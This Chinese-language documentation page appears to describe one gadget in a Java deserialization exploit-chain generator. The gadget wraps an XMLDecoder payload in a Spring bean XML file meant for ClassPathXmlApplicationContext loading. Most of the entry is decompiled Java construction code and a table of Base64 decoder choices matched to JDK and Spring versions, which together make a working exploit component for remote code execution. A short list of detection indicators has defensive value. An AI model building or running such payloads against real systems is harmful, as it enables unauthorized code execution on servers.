- 类别:
common别名:sbxcl 优先级:21 - 作者:小晨曦
- 依赖:
spring-bean - 实现:
Gadget
把内层 XMLDecoder payload 包进 Spring bean.xml 文件。
- 入口
tags:Other - 衔接
nextTags:XMLDecoderPayload excludes:无
关键构造逻辑如下,摘自本条对应的 CFR 反编译源码:
public String getObject(String xmlPayload) {
String payloadBase64 = Base64.encodeBase64String((byte[])xmlPayload.getBytes(Charset.forName("UTF-8")));
String decoderBean = this.buildDecoderBean(payloadBase64);
String payload = String.format(template, decoderBean);
HashMap<String, byte[]> fileMap = new HashMap<String, byte[]>();
fileMap.put(CommonUtil.getRandomString(10) + ".xml", payload.getBytes(Charset.forName("UTF-8")));
this.context.put(ContextTag.CACHE_FILES_MAP, fileMap);
return payload;
}
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
this.context = context;
String xmlPayload = (String)chain.doCreate(context);
return this.getObject(xmlPayload);
}invoke() 取内层 XML 字符串,保存 GadgetContext 后调用 getObject(xmlPayload)。
getObject() 先把 XMLDecoder payload 做 UTF-8/Base64 编码,再根据 base64 参数生成 Spring MethodInvokingFactoryBean 解码器。最终 XML 中创建 java.beans.XMLDecoder,以 init-method="readObject" 读取 ByteArrayInputStream 中的解码结果。
生成的 XML 内容同时写入 ContextTag.CACHE_FILES_MAP,文件名为随机 .xml,供后续需要文件投递的 payload 复用。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
base64 |
base64实现 | org.springframework.util.Base64Utils.decodeFromString,spring-core自带,会自动选择当前jdk版本最适合的解码方式,在spring-core 6.2之后被移除 javax.xml.bind.DatatypeConverter.parseBase64Binary,JDK自带,JDK11后迁移至Jakarta XML Binding API,需要引入依赖 java.util.Base64,JDK自带,JDK8之后base64标准库 com.sun.org.apache.xml.internal.security.utils.Base64.decode,JDK 1.4~8可用但属于internal API,JDK 9+默认不导出需--add-exports |
"com.sun.org.apache.xml.internal.security.utils.Base64.decode" |
org.springframework.util.Base64Utils.decodeFromStringjavax.xml.bind.DatatypeConverter.parseBase64Binaryjava.util.Base64com.sun.org.apache.xml.internal.security.utils.Base64.decode |
- 注解描述:适用于ClassPathXmlApplicationContext加载xml文件场景,通过XMLDecoder解码并触发XML payload
- 依赖条件:
spring-bean。 - Base64 解码方式需匹配目标依赖/JDK:Spring 6.2 后
Base64Utils被移除,JDK 11 后 JAXB 迁移,internal Base64 在 JDK 9+ 受模块导出限制。 - 可衔接下一环:
XMLDecoderPayload。
关注 Spring XML 中 java.beans.XMLDecoder、MethodInvokingFactoryBean、ByteArrayInputStream、随机 XML 文件落地。
自由构件,未直接出现在预设链中。
- 机器可读元数据:
index/gadgets.json。 - 完整反编译源码:。